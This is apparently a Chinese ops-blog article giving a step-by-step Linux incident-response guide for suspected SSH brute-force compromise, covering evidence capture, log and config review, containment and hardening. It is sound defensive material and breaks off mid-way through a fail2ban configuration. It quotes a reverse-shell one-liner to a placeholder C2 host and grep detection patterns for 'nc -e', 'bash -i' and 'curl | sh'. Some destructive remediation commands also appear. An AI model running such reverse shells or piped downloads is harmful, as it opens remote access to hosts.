文章总结: 本文针对服务器SSH异常登录场景,提供从被动验证到主动溯源的完整排查指南。核心思路是‘由近及远、由浅入深’,涵盖现场保全、登录轨迹分析、配置核对、进程文件网络排查、后门检测及应急处置。强调黄金30分钟原则,要求保留证据、切断外联、冻结账号,并最终进行加固与复盘。文章提供了大量实战命令和排查框架,可操作性强。 综合评分: 95 文章分类: 应急响应,渗透测试,红队,内网渗透,安全运营
服务器异常登录?可能已经被暴力破解了
点击关注👉 点击关注👉
马哥Linux运维
2026年7月6日 19:32 广东
在小说阅读器读本章
去阅读
服务器异常登录?可能已经被暴力破解了
一、问题背景
运维收到一条短信告警:“Accepted publickey for opsuser from 1.2.3.4 port 54321”。来源 IP 是某海外云厂商的 IP 段,时间是凌晨 3 点。opsuser 这个账号是不是本人?是不是已经被人登录了?
类似场景几乎每周都在生产环境发生。SSH 暴露在公网的主机,每天都被数十万次扫描。字典爆破、撞库、0day、社工钓鱼,这些攻击手段最终都会在登录日志里留下痕迹。能不能在第一时间发现、定位、止血,是衡量运维基本功的关键指标。
这篇文章不讲高大上的安全产品,就讲一件事:拿到”服务器异常登录”线索后,从一台已经被盯上的 Linux 主机出发,如何照着一串命令把现场摸清楚、根因找出来、修复做到位、证据留下来。
排查过程分两条线:
-
被动验证
:日志里已经有登录痕迹,需要判断这个登录是否正常;
-
主动溯源
:怀疑已经被突破,需要找到攻击者的所有动作、植入的后门、横向移动的路径。
这两条线在生产环境经常混合出现。多数情况下是先看到被动线索(陌生 IP 登录),再倒推主动溯源(这台机器是不是已经成了跳板、是不是被植入了计划任务、是不是有外联到 C2 服务器)。
排查的核心原则:
- 不要在没取证的情况下重启机器;
- 不要在排查中执行
rm -rf /tmp/*或history -c; - 每一个动作都要可逆、可回滚;
- 所有命令输出都要保存到带时间戳的备份目录;
- 涉及 KILL、停服、改防火墙时必须双人复核。
二、适用场景
本文适用:
-
监控告警触发 SSH 成功登录异常(陌生 IP、非工作时间、陌生账号);
-
/var/log/secure出现大量
Failed password后突然Accepted password,典型的爆破成功痕迹; -
服务器出现可疑进程、可疑外联、可疑定时任务,怀疑已经被入侵;
-
主机 CPU/内存/带宽异常,可能被植入挖矿程序、DDoS 工具、僵尸网络客户端;
-
主机配置文件被篡改(如
/etc/ssh/sshd_config、/etc/passwd新增用户、/etc/crontab新增任务); -
主机被安全部门、SOC、护网行动通报,需要紧急排查;
-
主机被云厂商或威胁情报平台标记为恶意 IP 来源;
-
内网横向移动排查(已知某台主机被入侵,需要排查同网段其他主机);
-
主机被客户或第三方通报存在数据泄露风险;
-
主机下线前的安全审计。
不适用:
- DDoS 攻击的流量层防护(本文聚焦 SSH 登录与权限层);
- Web 应用层入侵(SQL 注入、WebShell 上传)— 排查思路不同;
- 数据库入侵 — 走数据库的审计日志;
- 容器、Serverless 环境的入侵排查;
- 内核态 rootkit(需要更专业的内存取证工具)。
三、核心知识点
3.1 SSH 登录全链路
要排查 SSH 异常登录,必须先理解 SSH 登录涉及的所有组件:
client ssh/scp/sftp
→ DNS 解析(hostname → IP)
→ TCP 三次握手
→ SSH 协议握手(协议版本、算法协商)
→ 服务器认证(主机密钥)
→ 用户认证(密码 / 公私钥 / keyboard-interactive)
→ PAM 认证(账号、口令、双因素)
→ 审计日志写入(secure / auth.log / auditd)
→ 用户环境加载(profile / .bashrc)
每一环都有日志可查:
- DNS:
/var/log/messages、systemd-resolved日志; - TCP:
/var/log/messages、conntrack 表; - 协议:
/var/log/secure(sshd 日志); - 认证:
/var/log/secure(PAM 日志); - 审计:
/var/log/audit/audit.log。
3.2 Linux 登录与会话信息
-
last:读
/var/log/wtmp,显示历史成功登录; -
lastb:读
/var/log/btmp,显示历史失败登录; -
lastlog:读
/var/log/lastlog,显示每个用户最后登录时间; -
who:读
/var/run/utmp,显示当前在线用户; -
w:扩展
who,显示当前在线用户及其进程; -
ac:显示每个用户累计在线时间;
-
utmpdump:把 wtmp/btmp 转成可读文本。
这些工具都基于 utmp/wtmp/btmp 三个二进制文件。攻击者常常会篡改这些文件以隐藏登录痕迹,需要对比时间戳与文件大小。
3.3 SSH 配置文件
关键配置项:
-
PermitRootLogin:是否允许 root 登录;
-
PasswordAuthentication:是否允许密码登录;
-
PubkeyAuthentication:是否允许公私钥登录;
-
AllowUsers/
AllowGroups:白名单用户/组; -
MaxAuthTries:单连接最大认证次数;
-
LoginGraceTime:认证超时时间;
-
AuthorizedKeysFile:公钥文件路径(默认
.ssh/authorized_keys)。
被攻击的主机常看到的痕迹:
-
PermitRootLogin yes:root 远程登录被打开;
-
PasswordAuthentication yes:密码登录开启;
-
AllowUsers/
AllowGroups被删除或注释; -
新增了奇怪的
Match块; -
引入 include 片段(
/etc/ssh/sshd_config.d/*.conf)覆盖主配置; -
AuthorizedKeysFile被改成
/tmp/...等异常路径。
3.4 Linux 账号体系
-
/etc/passwd:账号基本信息,格式
username:x:UID:GID:comment:home:shell; -
/etc/shadow:账号密码 hash,格式
username:hash:lastchanged:min:max:warn:inactive:expire; -
/etc/group:组信息;
-
/etc/sudoers/
/etc/sudoers.d/*:sudo 授权; -
/etc/pam.d/:PAM 认证配置。
可疑迹象:
-
/etc/passwd中 UID 为 0 但 username 不是 root 的账号;
-
/etc/passwd中 shell 为
/bin/bash、/bin/sh但 home 是/var/...、/tmp/...; -
/etc/shadow中密码字段是空(
::)或*、!后的字符串异常; -
/etc/sudoers.d/出现不认识的配置文件;
-
/etc/group中
wheel、sudo组有不认识的用户。
3.5 计划任务与启动项
-
用户级:
crontab -l、/var/spool/cron/<user>; -
系统级:
/etc/crontab、/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/; -
systemd 定时器:
/etc/systemd/system/*.timer、/usr/lib/systemd/system/*.timer; -
启动脚本:
/etc/rc.local、/etc/init.d/; -
开机自启:
systemctl list-unit-files --state=enabled; -
.bashrc、
.bash_profile、.profile:用户登录时自动执行。
3.6 后门检测要点
后门通常藏在以下几个位置:
- SSH:
/etc/ssh/sshd_config、/usr/sbin/sshd、~/.ssh/authorized_keys; - 二进制替换:
/bin/、/sbin/、/usr/bin/、/usr/sbin/、/usr/lib/、/usr/lib64/; - 动态库劫持:
/etc/ld.so.preload、LD_PRELOAD; - 内核模块:
/lib/modules/$(uname -r)/、lsmod、/proc/modules; - 计划任务:见 3.5;
- 隐藏文件:
/tmp/、/var/tmp/、/dev/shm/; - 隐藏进程:
ps看不到的进程; - 反弹 shell:
/dev/tcp/<ip>/<port>、bash 反弹脚本、Python 反弹脚本。
3.7 文件完整性检测
-
rpm -Va:RHEL/CentOS 包文件校验;
-
debsums -c:Debian/Ubuntu 包文件校验;
-
AIDE:高级入侵检测环境,建立基线数据库,对比变更;
-
Tripwire:商业化文件完整性工具;
-
md5sum/
sha256sum:手动对比关键文件; -
stat:查看文件 inode、修改时间、访问时间、属性时间。
3.8 网络外联与 C2
攻击者植入后,通常会建立以下几种网络通道:
- 反弹 shell:
bash -i >& /dev/tcp/C2/443 0>&1; - HTTP/HTTPS 出网:周期性 GET/POST 到攻击者的 C2;
- DNS tunnel:通过 DNS 查询泄露数据;
- 矿池外联:到
pool.minexmr.com等矿池地址; - DDoS 工具:到 IRC 服务器接受命令;
- 内网横向:SSH、SMB、RDP、WMI、PSExec。
检测工具:
-
ss -antp state established:查看已建立的 TCP 连接;
-
netstat -an:旧版工具,仍可用;
-
iftop:实时流量;
-
nethogs:按进程统计流量;
-
tcpdump:抓包;
-
conntrack -L:连接跟踪表。
3.9 rootkit 与内核态后门
-
chkrootkit:用户态 rootkit 检测工具;
-
rkhunter:rootkit hunter,扫描已知 rootkit 特征;
-
unhide:查找隐藏进程;
-
/proc/modulesvs
lsmod:对比查找隐藏内核模块; -
内存取证工具:
Volatility、Rekall(需要专业背景)。
3.10 应急处置原则
黄金 30 分钟原则:
- 立即保留现场(dmesg、journalctl、日志、内存、网络连接);
- 切断可疑外联(防火墙封禁可疑 IP);
- 冻结可疑账号(
usermod -L、passwd -l); - 评估影响范围(同网段其他主机);
- 上报安全接口人;
- 实施修复(改口令、重发公钥、清理后门);
- 加固(双因素、最小化暴露、监控告警);
- 复盘(5Why、改进项、根因分析)。
四、整体排查或实施思路
排查 SSH 异常登录的整体思路是”由近及远、由浅入深、由系统到进程”:
-
现场保全
:第一动作必须是保留证据,不要重启、不要清日志;
-
登录轨迹
:从 last/lastb/日志中提取所有登录事件,判断哪些可疑;
-
配置核对
:检查 sshd_config、PAM、账号、sudo 是否被改;
-
进程维度
:top/ps/pidstat 找可疑进程;
-
文件维度
:find/md5sum/AIDE 找可疑文件;
-
网络维度
:ss/netstat/tcpdump 找可疑外联;
-
计划任务
:crontab/systemd-timer 找可疑任务;
-
日志审计
:secure/auth.log/audit.log/wtmp 完整性;
-
应急处置
:断网、冻结、改口令、清理;
-
加固
:双因素、暴露面收敛、监控告警;
-
复盘
:时间线、根因、影响范围、改进项。
完整的排查路径可以理解成一个”四圈防御 + 一条纵深”的框架:
- 第一圈(网络):防火墙 / 安全组 / 端口暴露面;
- 第二圈(认证):sshd_config / PAM / 双因素 / 公私钥;
- 第三圈(账号):/etc/passwd / sudo / shadow / 计划任务;
- 第四圈(运行时):进程 / 文件 / 内核模块 / 网络外联;
- 纵深(应急):取证 / 断网 / 修复 / 复盘。
任何一层有漏洞,攻击者都能绕过去。所以排查时每一层都要走一遍,不要跳过。
五、实战步骤
5.1 步骤一:现场保全(首要动作)
目的:把所有可能在排查中被覆盖的数据先备份,避免证据丢失。
bash
# 1. 建立带时间戳的备份目录
TS=$(date +%Y%m%d-%H%M%S)
BACKUP=/var/tmp/incident-$TS
mkdir -p "$BACKUP"/{logs,proc,config,binary,net}
# 2. 备份关键日志
cp -a /var/log/secure "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/auth.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/messages "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/audit/audit.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/wtmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/btmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/lastlog "$BACKUP"/logs/ 2>/dev/null
# 3. 备份 dmesg
dmesg -T > "$BACKUP"/logs/dmesg.txt 2>/dev/null
# 4. 备份 journald
journalctl --since "30 days ago" > "$BACKUP"/logs/journalctl-30d.txt 2>/dev/null
# 5. 备份当前进程
ps auxf > "$BACKUP"/proc/ps-auxf.txt
ps -ef > "$BACKUP"/proc/ps-ef.txt
# 6. 备份网络连接
ss -antp > "$BACKUP"/net/ss-antp.txt
ss -s > "$BACKUP"/net/ss-s.txt
netstat -anpt > "$BACKUP"/net/netstat.txt 2>/dev/null
# 7. 备份路由
ip route > "$BACKUP"/net/ip-route.txt
ip rule > "$BACKUP"/net/ip-rule.txt
ip addr > "$BACKUP"/net/ip-addr.txt
# 8. 备份当前在线
who > "$BACKUP"/who.txt
w > "$BACKUP"/w.txt
# 9. 备份关键配置
cp -a /etc/ssh "$BACKUP"/config/
cp -a /etc/pam.d "$BACKUP"/config/
cp -a /etc/passwd "$BACKUP"/config/
cp -a /etc/shadow "$BACKUP"/config/
cp -a /etc/group "$BACKUP"/config/
cp -a /etc/sudoers "$BACKUP"/config/
cp -a /etc/sudoers.d "$BACKUP"/config/
cp -a /etc/crontab "$BACKUP"/config/
cp -a /etc/cron.d "$BACKUP"/config/
cp -a /etc/cron.* "$BACKUP"/config/ 2>/dev/null
cp -a /etc/systemd/system "$BACKUP"/config/system-system 2>/dev/null
cp -a /usr/lib/systemd/system "$BACKUP"/config/system-lib 2>/dev/null
# 10. 备份关键二进制 md5
md5sum /usr/sbin/sshd /usr/bin/ssh /bin/bash /bin/sh /usr/bin/sudo \
/usr/bin/passwd /usr/bin/su /usr/sbin/useradd /usr/sbin/userdel \
/usr/bin/ps /usr/bin/netstat /usr/sbin/iptables \
> "$BACKUP"/binary/md5-baseline.txt 2>/dev/null
# 11. 打包
tar -czf /var/tmp/incident-$TS.tar.gz -C /var/tmp incident-$TS
ls -la /var/tmp/incident-$TS.tar.gz
预期输出:备份目录、压缩包齐全。
异常表现:
-
磁盘空间不足:用
du -sh /var/log/*找大文件; -
某些日志文件不存在:发行版路径不同,对应调整;
-
cp -a报错:检查 SELinux/AppArmor。
5.2 步骤二:登录轨迹分析
bash
# 1. 当前在线
who
w
# 2. 最近的登录记录
last -F | head -50
last -F -i | head -50 # 显示 IP(部分系统)
# 3. 最近的失败登录
lastb -F | head -50
lastb -F -i | head -50
# 4. 每个用户最近登录
lastlog | head -50
# 5. sshd 日志中的成功登录
grep -E "Accepted" /var/log/secure | tail -50
# 6. sshd 日志中的失败登录
grep -E "Failed password" /var/log/secure | tail -50
# 7. sshd 日志中的认证拒绝
grep -E "Connection closed by authenticating" /var/log/secure | tail -50
# 8. sshd 日志中的用户枚举尝试
grep -E "Invalid user" /var/log/secure | tail -50
# 9. 失败的公钥登录
grep -E "Failed publickey|Authentication refused" /var/log/secure | tail -50
# 10. 用 journald 拉最近 SSH 事件
journalctl -u sshd --since "7 days ago" --no-pager | grep -E "Accepted|Failed|Invalid|Connection closed" | tail -100
# 11. 统计失败次数最多的来源 IP
grep -E "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort | uniq -c | sort -rn | head -20
# 12. 统计被尝试的账号
grep -E "Failed password|Invalid user" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn | head -20
# 13. 时间分布
grep -E "Accepted|Failed" /var/log/secure | awk '{print $1, $2, $3}' | uniq -c | tail -30
预期输出:
-
正常的
last显示运维熟悉的 IP(办公网、堡垒机); -
lastb主要是失败记录,可能有大量失败爆破;
-
lastlog显示每个账号最后登录时间;
-
异常登录会以非工作时间、陌生 IP、陌生账号形式出现。
异常表现:
-
出现不认识的用户登录成功 → 立即冻结该账号;
-
出现认识的用户从不认识 IP 登录 → 立即通知本人确认;
-
出现非工作时间成功登录 → 立即排查;
-
出现短时间内大量失败后突然成功 → 高度怀疑爆破成功;
-
wtmp/
btmp/lastlog文件大小异常(被清空或被改)→ 高度怀疑被清理; -
last/
lastb输出时间断档 → 文件被截断或篡改。
下一步动作:
- 把可疑事件记录到 incident 报告;
- 把可疑账号列入冻结名单;
- 进入步骤三,配置核对。
5.3 步骤三:SSH 与 PAM 配置核对
bash
# 1. sshd_config 当前生效配置
sshd -T | grep -E "^(port|passwordauthentication|permitrootlogin|pubkeyauthentication|allowusers|allowgroups|authorizedkeysfile|logingracetime|maxauthtries|maxstartups|challengeauthentication|kbdinteractiveauthentication|usepam|authenticationmethods)\b"
# 2. 配置文件最近修改时间
stat /etc/ssh/sshd_config
ls -la /etc/ssh/
# 3. 包含的片段
grep -E "^Include" /etc/ssh/sshd_config
ls -la /etc/ssh/sshd_config.d/
# 4. 各片段的内容
for f in /etc/ssh/sshd_config.d/*.conf; do
echo"=== $f ==="
cat"$f"
done
# 5. 主机密钥指纹
for f in /etc/ssh/ssh_host_*_key; do
echo"$f:"
ssh-keygen -lf "$f"
done
# 6. authorized_keys 检查
find / -name authorized_keys -type f 2>/dev/null -execls -la {} \;
find / -name authorized_keys -type f 2>/dev/null -execwc -l {} \;
# 7. 异常 authorized_keys 内容
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
echo"=== $f ==="
cat"$f"
done
# 8. PAM 配置
cat /etc/pam.d/sshd
ls -la /etc/pam.d/sshd
# 9. PAM 模块完整性
for m in pam_unix.so pam_google_authenticator.so pam_faillock.so pam_tally2.so; do
echo"$m:"
find / -name "$m" 2>/dev/null
done
# 10. auditd 是否启用
systemctl status auditd
auditctl -l | grep -E "(sshd_config|sshd|authorized_keys|/etc/passwd)"
预期输出:
-
PermitRootLogin no、
PasswordAuthentication no、PubkeyAuthentication yes是加固后的标准配置; -
AllowUsers/
AllowGroups有明确白名单; -
sshd_config 最近修改时间与变更窗口一致;
-
authorized_keys只有熟悉的运维账号公钥。
异常表现:
-
出现不认识的公钥在
authorized_keys→ 立即删除; -
PermitRootLogin yes→ 立即改为
no; -
出现
Include /etc/ssh/sshd_config.d/*.conf且片段里有不熟悉的配置 → 立即审查; -
sshd_config 最近被修改但无变更单 → 立即怀疑;
-
PAM 文件被修改但无变更单 → 立即怀疑;
-
auditd 未启用 → 加固缺陷。
下一步动作:
- 把可疑配置项记录;
- 不直接修改,先备份;
- 进入步骤四。
5.4 步骤四:账号体系核对
bash
# 1. UID 0 的账号(root 权限)
awk -F: '($3 == 0) {print}' /etc/passwd
# 2. 可登录的账号(bash/sh/zsh/csh)
awk -F: '$7 ~ /(bash|sh|zsh|csh|fish)/ {print}' /etc/passwd
# 3. home 目录异常(/tmp、/var/tmp 等)
awk -F: '$6 ~ /^\/(tmp|var\/tmp|dev\/shm)/ {print}' /etc/passwd
# 4. shadow 文件空密码
awk -F: '($2 == "" || $2 == "!" || $2 == "*" || $2 == "!!") {print $1}' /etc/shadow
# 5. 锁定状态异常
passwd -S -a
# 6. 账号最近修改时间
ls -la /etc/passwd /etc/shadow /etc/group /etc/sudoers
# 7. sudoers 配置
cat /etc/sudoers
ls -la /etc/sudoers.d/
for f in /etc/sudoers.d/*; do
echo"=== $f ==="
cat"$f"
done
# 8. 密码策略
chage -l root
chage -l opsuser
# 对比最近一次改密时间
# 9. 最近新建账号
find /home /root /var -maxdepth 3 -newer /etc/hostname 2>/dev/null | head
# 10. SSH 私钥被复制痕迹
find / -name "id_*" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null | head
# 11. 用户最近活动
ls -lat /home/*/.bash_history 2>/dev/null
ls -lat /root/.bash_history 2>/dev/null
# 但攻击者常常会清,所以不要把空 history 视为"没事"
预期输出:
- 只有 root 一个 UID 0 账号;
- 熟悉的运维账号 shell 是 bash;
- sudoers 配置符合预期;
- chage 信息符合变更窗口。
异常表现:
- 出现第二个 UID 0 账号 → 立即锁定(
passwd -l)并排查来源; - 出现 home 在 /tmp 的账号 → 立即排查;
- 出现陌生账号 → 立即锁定;
- sudoers.d 出现新文件 → 立即审查;
- 最近被修改的配置文件超出变更窗口 → 怀疑被改;
- .bash_history 被清空 + 系统被爆破成功 → 高度怀疑被入侵。
下一步动作:
- 把可疑账号记录到 incident 报告;
- 不直接删除账号,先冻结(
passwd -l username或usermod -L username); - 进入步骤五。
5.5 步骤五:计划任务与启动项核对
bash
# 1. 当前用户的 crontab
crontab -l
crontab -u root -l
crontab -u opsuser -l
# 2. 所有用户的 crontab
for user in $(cut -f1 -d: /etc/passwd); do
echo"=== $user ==="
crontab -u "$user" -l 2>/dev/null
done
# 3. 系统级 crontab
cat /etc/crontab
ls -la /etc/cron.d/
for f in /etc/cron.d/*; do
echo"=== $f ==="
cat"$f"
done
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
# 4. systemd 定时器
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer 2>/dev/null
ls -la /usr/lib/systemd/system/*.timer 2>/dev/null
# 5. systemd 服务开机自启
systemctl list-unit-files --state=enabled
ls -la /etc/systemd/system/multi-user.target.wants/
# 6. /etc/rc.local
cat /etc/rc.local
ls -la /etc/rc.local
# 7. /etc/init.d
ls -la /etc/init.d/
# 8. 用户登录脚本
ls -la /root/.bashrc /root/.bash_profile /root/.profile /root/.bash_logout
for user in /home/*; do
echo"=== $user ==="
ls -la "$user/.bashrc""$user/.bash_profile""$user/.profile" 2>/dev/null
done
# 9. systemd 用户级服务
ls -la /home/*/.config/systemd/user/ 2>/dev/null
# 10. at 队列
atq
ls -la /var/spool/at/ 2>/dev/null
预期输出:
-
crontab 与变更窗口一致;
-
没有陌生的 systemd timer;
-
systemctl list-unit-files没有陌生服务。
异常表现:
-
出现奇怪的 crontab(指向
/tmp、/dev/shm、/var/tmp的脚本)→ 立即停掉; -
crontab 内容包含
curl | bash、wget | sh、nc→ 立即停掉; -
出现 systemd timer 在异常路径 → 立即停掉;
-
.bashrc末尾被追加可疑脚本 → 立即排查;
-
/etc/rc.local默认在 RHEL/CentOS 7 是无执行权限的,如果突然有内容 → 立即排查。
5.6 步骤六:进程维度排查
bash
# 1. CPU 占用 TOP 10
top -c -b -n 1 | head -30
# 2. 完整进程树
ps auxf
# 3. 按 CPU 排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head -20
# 4. 按内存排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pmem | head -20
# 5. 可疑进程(路径在 /tmp、/var/tmp、/dev/shm)
ps -eo pid,user,args | awk '/\/tmp|\/var\/tmp|\/dev\/shm/ {print}'
# 6. 没有参数或参数奇怪的进程
ps -eo pid,user,args | awk 'NF<5 {print}'
# 7. 已删除可执行文件的进程(被植入内存马)
ls -la /proc/*/exe 2>/dev/null | grep deleted
# 8. KThreads 之外的内核线程(可能有可疑模块)
ps -ef | awk '$3 == 2 {print}'
# 9. 按 PID 详细查看
PID=12345
ls -la /proc/$PID/exe
cat /proc/$PID/status
cat /proc/$PID/cmdline
ls -la /proc/$PID/fd | head -30
cat /proc/$PID/maps | head -10
# 10. 隐藏进程检测
unhide proc
unhide sys
unhide-brute
# 11. 启动时间异常的进程
ps -eo pid,user,lstart,args --sort=lstart | head -20
预期输出:
- 进程列表符合基线;
- CPU/内存 TOP 进程是熟悉的业务进程;
- 可疑路径无进程。
异常表现:
- 出现挖矿进程(xmrig、minerd、kdevtmpfsi、kthrotlds 等)→ 立即取证并停掉;
- 出现 nc、ncat、bash -i 反弹 → 立即取证;
- 出现 curl/wget 下载脚本 → 立即停止并取证;
- 进程 exe 指向 deleted 但进程仍运行 → 内存马嫌疑;
- 隐藏进程(
unhide检出而ps没显示)→ rootkit 嫌疑; - 启动时间在最近爆破成功之后 → 高危。
5.7 步骤七:网络外联与可疑流量
bash
# 1. 当前 ESTABLISHED 连接
ss -antp state established
ss -antp state established | awk '{print $5}' | cut -d: -f1 | sort -u
# 2. 按进程统计外联
ss -antp state established | grep -E "users:" | awk '{for(i=1;i<=NF;i++) if($i ~ /users:/) print $(i+1)}' | sort | uniq -c | sort -rn
# 3. UDP 连接
ss -anup state established
# 4. 监听端口
ss -tlnp
# 5. 全连接(包括 LISTEN、ESTABLISHED、CLOSE_WAIT、TIME_WAIT)
ss -anp | head -50
# 6. 路由与 ARP
ip route
ip neigh
# 7. conntrack
conntrack -L 2>/dev/null | head -50
# 8. DNS 解析缓存
journalctl -u systemd-resolved --since "1 day ago" --no-pager | tail -50
# 9. 抓包(紧急情况下短时间抓 30-60s)
tcpdump -i eth0 -nn -s0 -w /tmp/incident-$TS/capture.pcap &
TCPDUMP_PID=$!
sleep 60
kill$TCPDUMP_PID
ls -la /tmp/incident-$TS/capture.pcap
# 10. 进程级流量
nethogs -d 5 -t 2>/dev/null | head -30
# 11. 与威胁情报比对(本地 IP 库或 curl 在线 API)
# 注意:生产环境不要直接在线查询,先在内网 SOC 平台比对
预期输出:
- 已建立连接的目标 IP 是熟悉的业务 IP;
- 监听端口与配置一致;
- 路由正常。
异常表现:
- 出现对外网矿池、IRC、C2 的连接 → 立即取证并断网;
- 出现对内网其他主机的非常规端口连接 → 横向移动嫌疑;
- 出现对 53 端口(DNS)大量长连接 → DNS tunnel 嫌疑;
- 出现大量 CLOSE_WAIT → 应用未正常关闭,可能被植入;
- 出现大量 SYN_SENT → 攻击者主动外联失败。
5.8 步骤八:文件系统与可疑文件
bash
# 1. 最近 7 天被修改的文件
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -100
# 2. /tmp、/var/tmp、/dev/shm 中的可疑文件
ls -la /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null
# 3. 隐藏文件
find /tmp /var/tmp /dev/shm -name ".*" -type f 2>/dev/null
# 4. SUID/SGID 文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# 5. 没有任何属主的文件
find / -nouser -o -nogroup 2>/dev/null
# 6. 二进制 hash 与基线对比
md5sum /usr/bin/* /usr/sbin/* /bin/* /sbin/* > /tmp/incident-$TS/md5-current.txt 2>/dev/null
diff /tmp/incident-$TS/md5-baseline.txt /tmp/incident-$TS/md5-current.txt
# 7. RPM 包文件校验
rpm -Va 2>/dev/null | grep -E "^..5" | grep -E "/(usr/)?(s?bin|lib)"
# 8. debsums(Debian/Ubuntu)
debsums -c 2>/dev/null
# 9. LD_PRELOAD 劫持
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload 2>/dev/null
# 10. 可疑的脚本文件
find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" \) -mtime -7 2>/dev/null | head
# 11. 关键字搜索可疑内容
grep -rl "1.2.3.4" /etc /usr/local /opt /var/www 2>/dev/null | head
grep -rl "nc -e\|bash -i\|curl.*sh\|wget.*sh" /tmp /var/tmp /dev/shm 2>/dev/null | head
# 12. AIDE / Tripwire
aide --check
tripwire --check
预期输出:
- 修改时间在变更窗口内的文件;
- 没有陌生 SUID 文件;
- 没有 ld.so.preload;
- RPM/DEB 校验全部通过。
异常表现:
- 出现不认识的 SUID 文件 → 立即排查;
- 出现不认识的脚本在 /tmp → 立即取证;
- RPM/DEB 校验报错(
..5表示 size 改变)→ 立即排查; - 出现 ld.so.preload → 立即排查(这是经典的动态库劫持);
- 关键字搜索命中反弹 shell 痕迹 → 立即排查。
5.9 步骤九:日志完整性与时间线
bash
# 1. 日志文件大小与 mtime
ls -la /var/log/secure /var/log/auth.log /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/audit/audit.log
# 2. 日志被清空/截断的迹象
wc -l /var/log/secure /var/log/auth.log
# 如果一个本来几十 MB 的日志突然变成 0 或几百字节,要警惕
# 3. logrotate 配置
cat /etc/logrotate.conf
cat /etc/logrotate.d/* | grep -A 5 -E "secure|auth"
# 4. 日志完整性(监控日志被删的钩子)
auditctl -w /var/log -p wa -k log_change
# 5. utmpdump 解析二进制日志
utmpdump /var/log/wtmp | tail -50
utmpdump /var/log/btmp | tail -50
# 6. 与远程日志服务器对比
ssh logserver "grep 'Accepted.*$(hostname)' /var/log/remote/*.log"
# 7. 关键事件时间线(用 grep 把所有 Accepted/Failed 拉出来排序)
(grep "Accepted" /var/log/secure; grep "Failed" /var/log/secure) | sort | head -200
# 8. 把时间线写到 incident 报告
cat > /tmp/incident-$TS/timeline.txt <<EOF
=== SSH Login Timeline ===
$(grep -E "Accepted|Failed|Invalid" /var/log/secure | tail -200)
=== Crontab Changes ===
$(ls -la /etc/cron* 2>/dev/null)
=== File Mtime Anomalies ===
$(find /etc /usr/local /var -mtime -3 -type f 2>/dev/null | head -50)
EOF
预期输出:
- 日志大小符合基线;
- logrotate 配置合理;
- utmpdump 输出与 last/lastb 一致;
- 时间线清晰可读。
异常表现:
- 日志文件被清空或大小异常 → 攻击者清理痕迹;
- 与远程日志服务器对比不一致 → 本地日志被篡改;
- 时间线出现断档 → 部分事件被删。
5.10 步骤十:应急处置
处置优先级:
- 立即冻结可疑账号:
passwd -l username、usermod -L username; - 立即停止可疑进程:
kill -STOP PID(先冻结取证),kill -TERM PID; - 立即断网(慎用,会影响业务):
iptables -I INPUT -s <ip> -j DROP; - 立即修改运维账号密码/重新下发公钥;
- 立即清理后门:删除可疑计划任务、可疑 systemd 服务;
- 立即加固:关闭密码登录、限制来源 IP、强制双因素;
- 通知安全接口人、SOC、客户(如涉及);
- 写 incident 报告,含时间线、影响范围、根因、修复、改进项。
bash
# 冻结账号
passwd -l attacker_user
usermod -L attacker_user
# 删除公钥
sed -i '/^ssh-ed25519.*AAA...$/d' /home/opsuser/.ssh/authorized_keys
# 停掉可疑进程(先用 STOP 留证据)
kill -STOP <PID>
sleep 5
cat /proc/<PID>/maps > /tmp/incident-$TS/maps-PID.txt
kill -TERM <PID>
# 强制 kill(慎用)
kill -9 <PID>
# 断网(封禁可疑 IP)
iptables -I INPUT -s <attacker_ip> -j DROP
ip6tables -I INPUT -s <attacker_ip> -j DROP
# 断本机所有外网(极端情况)
iptables -I OUTPUT -d 0.0.0.0/0 -j DROP
# 注意:这会断掉云监控、SSH 远程管理,必须有云控制台 VNC
# 清理 crontab
crontab -u root -r
crontab -u attacker_user -r
# 删除可疑脚本(取证后再删)
cp -a /tmp/xxx.sh /tmp/incident-$TS/
rm -f /tmp/xxx.sh
# 清理 systemd 服务
systemctl stop malicious.service
systemctl disable malicious.service
rm -f /etc/systemd/system/malicious.service
# 重新下发公钥
ssh-keygen -t ed25519 -f /home/opsuser/.ssh/id_ed25519.new
cat /home/opsuser/.ssh/id_ed25519.new.pub >> /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys
# reload sshd
sshd -t && systemctl reload sshd
5.11 步骤十一:加固
bash
# 1. 关闭密码登录
sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
# 2. 禁用 root 远程登录
sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
# 3. 改端口(可选)
sed -i 's/^#\?Port.*/Port 2222/' /etc/ssh/sshd_config
# 4. 加白名单
echo"AllowUsers opsuser1 opsuser2" >> /etc/ssh/sshd_config
# 5. 启用 fail2ban
yum install -y fail2ban fail2ban-systemd # 或 apt
cat > /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 10.10.0.0/16 192.168.0.0/16
bantime = 3600
findtime = 600
maxretry = 5
banaction = firewallcmd-rich-rules
[sshd]
enabled = true
port = 2222
filter = sshd
backend = systemd
logpath = /var/log/secure
